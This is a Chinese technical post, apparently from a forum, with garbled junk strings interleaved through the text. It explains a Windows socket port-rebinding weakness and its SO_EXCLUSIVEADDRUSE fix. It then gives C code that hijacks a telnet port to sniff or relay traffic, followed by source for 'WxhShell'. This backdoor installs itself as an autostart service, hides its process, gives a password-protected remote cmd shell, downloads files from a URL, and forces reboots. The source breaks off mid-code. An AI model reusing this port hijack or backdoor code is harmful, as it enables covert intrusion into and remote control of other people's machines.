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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1}=@';cK* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d8N{sT t3P$UR% saddr.sin_family = AF_INET; (:|g"8mQm (^!$m7 saddr.sin_addr.s_addr = htonl(INADDR_ANY); t%S2D }BFX7X bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A,PF#G( 3Gk\3iU! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h^ o@=%b J 2H$ALl 这意味着什么?意味着可以进行如下的攻击: obzdH:S kleE\8_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %fJ~3mu {JGXdp:SB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UlNx5l+k P7`RAz 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !(H
RP9 bJ!(co6t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 u2o196,Ut j|-{*t{/x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5K#<VU*: tO}Y=kZa{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?B{,%2+ Y@ l>4q") 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M&SY2\\TB /ka "YU #include 3UgPVCT #include 4R}$P1 E #include tBjMm8lgb #include P[K42mm DWORD WINAPI ClientThread(LPVOID lpParam); $z,rN\[ int main() E0t%]?1 { Wr6y w# WORD wVersionRequested; .VA'W16 DWORD ret; J;5G]$s WSADATA wsaData; SdXAL BOOL val; U6IvN@
g SOCKADDR_IN saddr; ~P,@">} SOCKADDR_IN scaddr; k
& 6$S9 int err; BK 9+fO SOCKET s; |'QgL0?
SOCKET sc; GhC%32F int caddsize; Z}`A'#! HANDLE mt; ~Q2,~9Dkc DWORD tid; '>Uip+' wVersionRequested = MAKEWORD( 2, 2 ); fq(3uE]nC err = WSAStartup( wVersionRequested, &wsaData ); ekPn`U if ( err != 0 ) { fX/k;0l printf("error!WSAStartup failed!\n"); *@E&O^%cO return -1; jmr1e).]; } mQ=nU saddr.sin_family = AF_INET; >jRH<|Az |IZFWZd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eMOnzW|h xlm:erP saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'fka?lL saddr.sin_port = htons(23); !=p^@N7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OE(!^"5?[ { `{+aJ0<S printf("error!socket failed!\n"); "%dok@v return -1; /_ RrNzqy } v"V? val = TRUE; ]}9D*V //SO_REUSEADDR选项就是可以实现端口重绑定的 ~PA6e+gmL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /9<62F@zJ" { v]U0@#/p printf("error!setsockopt failed!\n"); \heQVWRl return -1; %)}y[
( } WoDQg64 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]GmXZi //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4^{~MgQWK+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #RTiWD[o (k<__W c_t if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cE7IHQ { }^Ky)** ret=GetLastError(); Z:Nm9m printf("error!bind failed!\n"); 5tcJTz return -1; . *c%A^> } }x+s5a;!3/ listen(s,2); ds<q"S{p while(1) {f[X) { =Y<RG"]a&J caddsize = sizeof(scaddr); BLcsIyq //接受连接请求 $#HUxwx4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &/{x7;e if(sc!=INVALID_SOCKET) (7?jjH^4 { _?~)B\@~0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &?#!%Ds if(mt==NULL) 2R`/Oox { 3PRK.vf printf("Thread Creat Failed!\n"); {aYCrk1 break; Y]9C 8c) } K91.-k3)$ } zR6^rq* CloseHandle(mt); TptXH? } [B" CNnA closesocket(s); K0z@gWGE WSACleanup(); $S{]` + return 0; r^$WX@ t& } d ~3GEK DWORD WINAPI ClientThread(LPVOID lpParam) OE_>Kw7q { <s(<ax30 SOCKET ss = (SOCKET)lpParam; =d`/BDD SOCKET sc; 8[mj*^P unsigned char buf[4096]; (d$ksf_[%f SOCKADDR_IN saddr; P4.snRQ long num; t9+ME| DWORD val; r-IG.ym3 DWORD ret; &~a/Upz0]_ //如果是隐藏端口应用的话,可以在此处加一些判断 [SA$d`B/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 us3fBY' saddr.sin_family = AF_INET; _.G p}0a saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^.;
x saddr.sin_port = htons(23); Q2HULz{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +Rb0:r>kU { 6<+ 8[o printf("error!socket failed!\n"); !>gu#Q{\- return -1; { 0vHgi } _M9-n val = 100; M}*#{UV2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h!UB#-
{ [t}$W*hY
ret = GetLastError(); _Vf0MU;3f+ return -1; yHt
`kb2 } 990sE
t? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >Vvjs { SB\T
iH/ ret = GetLastError(); d:1TSJff%/ return -1; o6~9.~_e } 2h^9lrQcQG if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x0 dO^D { QwL'5ws{q printf("error!socket connect failed!\n"); f0,,<ib.w closesocket(sc); dJYQdo^X closesocket(ss); ~Q/G_^U: return -1; X9xXL%Q } Z_Z; g]|! while(1) XexslzI { ,}hJ) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @5y ~A}Vd //如果是嗅探内容的话,可以再此处进行内容分析和记录 c _faW //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9X6l`bo' num = recv(ss,buf,4096,0); ON~K(O2g( if(num>0) Hjtn*^fo^ send(sc,buf,num,0); XK7$Xbd else if(num==0) [J71aH break; c5e
wG num = recv(sc,buf,4096,0); si|DxDx if(num>0) =TzmhX5 send(ss,buf,num,0); TaN]{k else if(num==0) d#*n@@V4 break; "2~%-;c } @<W^/D1#L closesocket(ss); !Hp H closesocket(sc); _~_E(rTn return 0 ; KnjowK } fqcFfz6?x c7fQ{"f 3B 0Zq jq0O# ========================================================== 0nbQKoF CS<,qvLpL 下边附上一个代码,,WXhSHELL u^!c:RfE? 8^FAeV# ========================================================== lIlmXjL0 ?UPZ49y #include "stdafx.h" n2#Yw}7^,o t@(`24 #include <stdio.h> 609_ZW;) #include <string.h> fEB>3hI #include <windows.h> ;F:~HrxT} #include <winsock2.h> <7;AK!BH #include <winsvc.h> apxY2oE& #include <urlmon.h> >){"x(4` g;Lk 'Ky6 #pragma comment (lib, "Ws2_32.lib") 3Wl,T5}{ #pragma comment (lib, "urlmon.lib") c<PML|e ;HOOo>%_K #define MAX_USER 100 // 最大客户端连接数 :{ }]$+|)\ #define BUF_SOCK 200 // sock buffer #cRw0bn: #define KEY_BUFF 255 // 输入 buffer JGB 9Z =QiVcw,G# #define REBOOT 0 // 重启 !7KSNwGu #define SHUTDOWN 1 // 关机 Qmk}smvH HaUfTQ8 #define DEF_PORT 5000 // 监听端口 %bp8VR sY UY!N"[& #define REG_LEN 16 // 注册表键长度 bJz}\[z #define SVC_LEN 80 // NT服务名长度 DD4fV`:kG [9:'v@Ph // 从dll定义API YR{%pZp typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9EE},D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +@QN)ZwVy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D]s8w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DeAi'"& H)Zb _>iV // wxhshell配置信息 P a{)@xT struct WSCFG { 9<9 c^2 int ws_port; // 监听端口 1ud+~y$K char ws_passstr[REG_LEN]; // 口令 Jx:t(oUR+ int ws_autoins; // 安装标记, 1=yes 0=no 4a&*?=GG char ws_regname[REG_LEN]; // 注册表键名
UA{tmIC\ char ws_svcname[REG_LEN]; // 服务名 t#Q" ;e char ws_svcdisp[SVC_LEN]; // 服务显示名
fn1G^a= char ws_svcdesc[SVC_LEN]; // 服务描述信息 mv,<#<-W char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D?v)Xqw= int ws_downexe; // 下载执行标记, 1=yes 0=no sUfYEVjr char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" d=TZaVL$$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qe&K &!y7PWHJ }; 8+L,a_q- me#?1r // default Wxhshell configuration d"1DE struct WSCFG wscfg={DEF_PORT, C;T:'Uws "xuhuanlingzhe", nj (/It 1, j=%^CRum "Wxhshell", UogkQ& B "Wxhshell", HOn,c@.9Y "WxhShell Service", k
k&8:;Vj "Wrsky Windows CmdShell Service", q*Hf%I" "Please Input Your Password: ", Y=%SK8]Q; 1, h "7:&=e " http://www.wrsky.com/wxhshell.exe", n9;z= "Wxhshell.exe" ,+u.FQv~ }; %<g(EKl J H%^FF2 // 消息定义模块 B]`!L/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aw0; char *msg_ws_prompt="\n\r? for help\n\r#>"; IZ$7'Mo86 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9(9+h]h+3 char *msg_ws_ext="\n\rExit."; U5 `h char *msg_ws_end="\n\rQuit."; COE,pb17 char *msg_ws_boot="\n\rReboot..."; G2bZl%
,D char *msg_ws_poff="\n\rShutdown..."; :QndeUw char *msg_ws_down="\n\rSave to "; *Cdw"n BZ] 6W/0 char *msg_ws_err="\n\rErr!"; 6,ZfC<) char *msg_ws_ok="\n\rOK!"; YWV"I|Z 2(-J9y| char ExeFile[MAX_PATH]; 5/v,| int nUser = 0; @}
nI$x. HANDLE handles[MAX_USER]; *h<=
(Y% int OsIsNt; *^BW[C/CTR uhyw?#f SERVICE_STATUS serviceStatus; -8L22t SERVICE_STATUS_HANDLE hServiceStatusHandle; A`=;yD A@8Ot-t:\2 // 函数声明 m])!'Pa(= int Install(void); m=^`u:= int Uninstall(void); vyME int DownloadFile(char *sURL, SOCKET wsh); O'6zV"<P int Boot(int flag); Ywj=6 +; void HideProc(void); ")/TbTVu int GetOsVer(void); >&@hm4 int Wxhshell(SOCKET wsl); 56;(mbW void TalkWithClient(void *cs); Q?f%]uGFQ int CmdShell(SOCKET sock); hSxlj7Eo^T int StartFromService(void); 9uXu V$. int StartWxhshell(LPSTR lpCmdLine); R^}}-Dvr ]L'FYOfrpx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cm~h\+" VOID WINAPI NTServiceHandler( DWORD fdwControl ); D;f[7Cac dXkgWLI~ // 数据结构和表定义 HT]v S}s SERVICE_TABLE_ENTRY DispatchTable[] = BrW1:2w
>\ { "6T: &> {wscfg.ws_svcname, NTServiceMain}, *WSH-*0 {NULL, NULL} "[` .I*WNo }; _%HpB= Qfhhceb6#J // 自我安装 @WppiZ$ int Install(void) U6hT*126 { fI{ZElPp char svExeFile[MAX_PATH]; -ff|Xxar{ HKEY key; Mo+mO&B strcpy(svExeFile,ExeFile); FiTP-~
-29Sw // 如果是win9x系统,修改注册表设为自启动 .YvE if(!OsIsNt) { <Tq&Va_w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QN %w\JXS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rp~#zt9: RegCloseKey(key); ^*;{Uj+O~Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DVu_KT[H d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5rAI[r
9 RegCloseKey(key); Yp8~wdm return 0; &&iZ?JteZ } )P6n,\ } gTI!b } @w1@|"6vF else { Jjb(l W 8S&Kf>D // 如果是NT以上系统,安装为系统服务 KRS_6G],{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8:Yha4<Bv7 if (schSCManager!=0) }*!7
Vrep { [OI&_WIw SC_HANDLE schService = CreateService ?Rc+H;x=f ( ` [ EzU+ schSCManager, JPS7L} Kv wscfg.ws_svcname, SnK j:|bV wscfg.ws_svcdisp, B;M{v5s~] SERVICE_ALL_ACCESS, c65_E<5Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;H#'9p ,2 SERVICE_AUTO_START, I0 y+,~\ SERVICE_ERROR_NORMAL, &Mset^o svExeFile, ?Gq'r2V NULL, 0B(<I?a/ NULL, /Kmzi9j+ NULL, 6qA48:/F= NULL, Az.k6)~ NULL 1y5]+GU'` ); S7-ka{S if (schService!=0) cH>rS\|Y { {mPaloA CloseServiceHandle(schService); %K^l]tWa@ CloseServiceHandle(schSCManager); ?^i$} .%W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q]_3 #_' strcat(svExeFile,wscfg.ws_svcname); ~Mv@Bl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,63hO.4M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &z;;Bx0s RegCloseKey(key); OE(H:^ZR return 0; D_GIj$%N[ } U;n$ } bS{7 *S CloseServiceHandle(schSCManager); vjG:
1|*e } ScrE tN } |vW(;j6 GL;@heP return 1; y/=:F=H@w } :})(@.H yg({g
" // 自我卸载 m$<LO%<~p int Uninstall(void) HYVSi3[ { MKVz'-`u HKEY key; tGt/=~n9 hojP3 [ if(!OsIsNt) { ]xGo[:k|E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5ncjv@Aa RegDeleteValue(key,wscfg.ws_regname); *+(t2!yFmE RegCloseKey(key); .OhpItn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m 2c>RCq RegDeleteValue(key,wscfg.ws_regname); @1+C* RegCloseKey(key); 8VG6~>ux'> return 0; ^n8ioL\*i } AI
KLJvte } -& Qm"-?: } t^_0w[ else { V{!fag MTBHFjXO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k3[rO}>s if (schSCManager!=0) u.v
5!G { _N8Tu~lqV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?%RAX CK if (schService!=0) be&5vl { L8OW@)| if(DeleteService(schService)!=0) { 6Gt~tlt:L CloseServiceHandle(schService); [zXKS| CloseServiceHandle(schSCManager); VnlgX\$} return 0; )ph**g } NUxOU>f CloseServiceHandle(schService); 1.S7MSpTV } 6 3TeTGp$ CloseServiceHandle(schSCManager); Xjb 4dip } 8yW 8F26 } wyzx9`5~d 2n]UNC return 1; }YV,uJH[ } !`kX</ha. w+A:]SU // 从指定url下载文件 Skb,cKU int DownloadFile(char *sURL, SOCKET wsh) 5L ]TV\\ { 8CXZ7 p HRESULT hr; B$A`thQp char seps[]= "/"; R-7.q char *token; $db]b char *file; 1D2Uomd( char myURL[MAX_PATH]; . <xzf4C char myFILE[MAX_PATH]; WP(+jL^- Q?"o.T'; strcpy(myURL,sURL); ~kDR9s7 token=strtok(myURL,seps); ,m4M39MWJ while(token!=NULL) +IS+!K0?) { (CUrFZT$ file=token; @|I:A token=strtok(NULL,seps); n oWjZ } 7JC^+rk 3C:!\R GetCurrentDirectory(MAX_PATH,myFILE); kXjrc strcat(myFILE, "\\"); NxOiT#YH strcat(myFILE, file); !v/j*'L<M} send(wsh,myFILE,strlen(myFILE),0); '*4>&V.yX send(wsh,"...",3,0); Oup5LH!sW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |\HYq`!g%7 if(hr==S_OK) LwPZR E# return 0; :ik$@5wp else VV_Zrje return 1; !yUn|v>&p S7|6dwQ& } tx$i( "o| f // 系统电源模块 *HT)Au"5 int Boot(int flag) R,3E_me"} { It5U=PU HANDLE hToken; 1/ZvcdYB TOKEN_PRIVILEGES tkp; #F>7@N:5 ,]:vk|a#; if(OsIsNt) { ]1 V,_^D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oK-T@ &- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \IL;}D{ tkp.PrivilegeCount = 1; m7dpr$J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K;n2mXYGM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %1Ex{H hb if(flag==REBOOT) { qcNu9Ih if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7g* "AEk return 0; |E&
Fe8 } FJ/>=2^B else { 0XkLWl|k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]q,5'[=~4h return 0; {2A| F{7> } p"xti+2, } `.MY"g9 else { G,{=sFX if(flag==REBOOT) { r>>4)<C7J if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7o+JQ&fF; return 0; 1v<,nABuJ6 } FW~{io]n else { ZWtlO P#] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pCB^\M%* return 0; T(GEFntY } 3SI~?&HU!/ } tQrF A2F G}2DZ=&>' return 1; 8!R +wy } s8r|48I#; QNN*/n // win9x进程隐藏模块 /Zzb7bHLK void HideProc(void) ?Aq
\Gr { %OV)O - tom1u>1n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "k;j@ if ( hKernel != NULL ) sI/]pgt2 { zL^`r)H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k=nN#SMn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gp l FreeLibrary(hKernel); JU6PBY~C' } ,qj1"e .wdWs tQ return; #Epx'$9 } ~ z< &vQ= a?d)lnk // 获取操作系统版本 w[K!m.p,u int GetOsVer(void) MrW*6jY@ { &7fwYV OSVERSIONINFO winfo; i[+cNJ|$B0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FX->_}kL= GetVersionEx(&winfo); S-5|t]LV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tc3~~ X return 1; |}FK;@'I 6 else o 94]:$=~ return 0; @)\{u$ } dj;Zzt3 SU`RHAo // 客户端句柄模块 n[E#K`gg' int Wxhshell(SOCKET wsl) ^xNs^wC. { 34Fc
oud); SOCKET wsh; !5wuBJ0 struct sockaddr_in client; e@`"V,i DWORD myID; Li? _P5+a h1A/:/_M6 while(nUser<MAX_USER) w,s++bV;L { ZaZm$.s n int nSize=sizeof(client); hoDE*>i wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IAlX^6s* if(wsh==INVALID_SOCKET) return 1; VEc^Ap1?' NI%&Xhn!*> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J%
b`*?A if(handles[nUser]==0) &Q>tV+* closesocket(wsh); b@>MA else J^Mq4& nUser++; nYvx[
zq?^ } ^z^zsNx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h{5K9$9= Qm >x? return 0; O/N@Gz[g% } A><q-`bw CI}zu;4| // 关闭 socket K.R4.{mo void CloseIt(SOCKET wsh) T`7HQf ; { tx9;8K3 closesocket(wsh); jfOqE*frl! nUser--; ;UnJrP-if ExitThread(0); \I[f@D-J } N}/|B} g2|qGfl{C // 客户端请求句柄 en?J#fz void TalkWithClient(void *cs) A#@9|3 { Pc:5*H G oHdhne3 SOCKET wsh=(SOCKET)cs; "pa2,-& char pwd[SVC_LEN]; 1I#]OY#> char cmd[KEY_BUFF]; Q&k1' nT5 char chr[1]; !C3ozZ< int i,j; +~{Honj[ z=[?&X]O9b while (nUser < MAX_USER) { ,|lDR@ l =X6m( if(wscfg.ws_passstr) { /T\'&s3D+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IJQ"
*; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 >c,#* //ZeroMemory(pwd,KEY_BUFF); H(rK39Q i=0; ,VYUQE>\
while(i<SVC_LEN) { h|Ah\P?o YA:!ULzR* // 设置超时 "+sl(A3`U fd_set FdRead; pj9*$.{ struct timeval TimeOut; kwAL]kI FD_ZERO(&FdRead); 6!T9VL\=H FD_SET(wsh,&FdRead); 0n)99Osq(u TimeOut.tv_sec=8; 6>)oG6 TimeOut.tv_usec=0; 7mBH#Q) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d#vo)> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3I.0jA#T&/ Ucqn3& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Muay6b? pwd =chr[0]; 3vC"Q!J& if(chr[0]==0xd || chr[0]==0xa) { 30fqD1_{ pwd=0; 7
/7,55 break; Pu0 <Clh } x;@wtd*QB i++; m#Dae\w& } O =gv2e #O,;3S // 如果是非法用户,关闭 socket +LhV4@zC if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I3^}$#> } S-2@:E u5O`|I@R send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {7Qj+e^ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E(p#Je|@[ h6;vOd~% while(1) { es!>u{8) ~m6b6Aj@6 ZeroMemory(cmd,KEY_BUFF); 6qK`X ,k |QuOrCh // 自动支持客户端 telnet标准 wi-F@})f# j=0; 7wz9x8 \t while(j<KEY_BUFF) { zXZXp~7) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {g7~e{2 cmd[j]=chr[0]; *o}7&Hw#9f if(chr[0]==0xa || chr[0]==0xd) { ,TlYQ/j%h cmd[j]=0; 5MHcgzyp break; w<SFs#Z } 4'#?"I j++; t->I# t7 } q(\kCUy! _@@.VmZL // 下载文件 Csf!I@}Z if(strstr(cmd,"http://")) { =Q~@dP send(wsh,msg_ws_down,strlen(msg_ws_down),0); 36MNaQt'e if(DownloadFile(cmd,wsh)) aL^
58M y& send(wsh,msg_ws_err,strlen(msg_ws_err),0); #5yz~& else HB*H%>L{"B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
ni?5h5- } @
D.MpM}~ else { L/xTW ApTE:Fm1 switch(cmd[0]) { :k Kdda<g# ]XjL""EbC // 帮助 E RjMe'q4 case '?': { })umg8s send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p8(Z{TSv break; cD ?'lB- } ^tY
_ q // 安装 Mhu|S)hn case 'i': { |ngv{g if(Install()) dLbSvK<(I send(wsh,msg_ws_err,strlen(msg_ws_err),0); vLIaTr gz else &3f^]n!@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 88On{Kk.v break; Jd28/X5& } uc
Ph*M // 卸载 )x3p7t)# case 'r': { ?$.JgG%Z+g if(Uninstall()) 7;9 Jn send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Wy:I_F351 else #|/+znJm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r2m&z%N& break; u] Z;Q_= } !3)WW)"!r // 显示 wxhshell 所在路径 ;:
0<(!^* case 'p': { =Q #d0Q char svExeFile[MAX_PATH]; dWP<,Z> strcpy(svExeFile,"\n\r"); IXpn(vX strcat(svExeFile,ExeFile); g(dReC send(wsh,svExeFile,strlen(svExeFile),0); l4ru0V8s7 break; rgF4 W8 } {uurLEe? // 重启 `_SV1|=="8 case 'b': { oSLm?Lu send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vZ1?4hG if(Boot(REBOOT)) $|t={s34 send(wsh,msg_ws_err,strlen(msg_ws_err),0); N(%(B else { EMzJyGt7 closesocket(wsh); fR]KXfZ ExitThread(0); r@EHn[w } y@r g_Paq break; [lGxys)J } iKu4s // 关机 K[S)e!\. case 'd': { C{~O!^2G send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PYTwyqS if(Boot(SHUTDOWN)) i,wZNX send(wsh,msg_ws_err,strlen(msg_ws_err),0); SqZ .}s else { :eIQF7- closesocket(wsh); g(i8HU*{q ExitThread(0); Ol;DJV }
Vfw H: break; @VQ<X4Za } -$$mr U // 获取shell -us:!p1T case 's': { *fz#B/_o CmdShell(wsh); aYM~Ub:x{ closesocket(wsh); fZcA{$Vc]N ExitThread(0); q:=jv6T# break; A4(k<<xjE } jVh:Bw // 退出 N`~f77G case 'x': { F"1tPWn send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x_CY`Y CloseIt(wsh); nuVux5: break; CY.4 >, } 9bhubx\^/ // 离开 2A:&Cqo case 'q': { @$iZ9x6t send(wsh,msg_ws_end,strlen(msg_ws_end),0); O*.n;_& closesocket(wsh); &TL"Hd WSACleanup(); o2cc3`*8d exit(1); `"hWbmQ break; 5nTcd@lX } qoZ)"M } EM`'=<)V } I0qJr2[X~ /;{L~f=et) // 提示信息 Gpi_p if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +TX4," } 0
/9 C=v } *Mb'y d/| @4MQ021( return; IZ\fvYp } n`@dk_%yI hn\d{HP // shell模块句柄 &n#yxv4 int CmdShell(SOCKET sock) oz]&=>$1I { Gs,e8ri! STARTUPINFO si; ,p /{!BX ZeroMemory(&si,sizeof(si)); bub6{MQW8e si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^do6?e`?- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I>##iiKN PROCESS_INFORMATION ProcessInfo; 74N3wi5B char cmdline[]="cmd"; LAY:R{vI CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2i;ox*SfpU return 0; CJ7S5 } L[A?W %n GjP^ // 自身启动模式 KU*aJl_n, int StartFromService(void) N3*1,/,l. { MJrPI a[pN typedef struct -(>Ch>O { ez.a DWORD ExitStatus; VumM`SH DWORD PebBaseAddress; X/90S2=P DWORD AffinityMask; F3]VSI6^E, DWORD BasePriority; biBMd(6 ULONG UniqueProcessId; Gi#-TP\ ULONG InheritedFromUniqueProcessId; cIG7Q"4 } PROCESS_BASIC_INFORMATION; eG8l^[ iRlpNsN PROCNTQSIP NtQueryInformationProcess; ^Il*`&+?P q mv0 LU static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $evuL3GY# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j;7E+Yp 2%6 >)| HANDLE hProcess; )p1~Jx( \ PROCESS_BASIC_INFORMATION pbi; b GI){0A M8<Vd1-5 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EApbaS}Up if(NULL == hInst ) return 0; ,W|-?b? |FM*1Q[1 g_pEnumProcessModules = 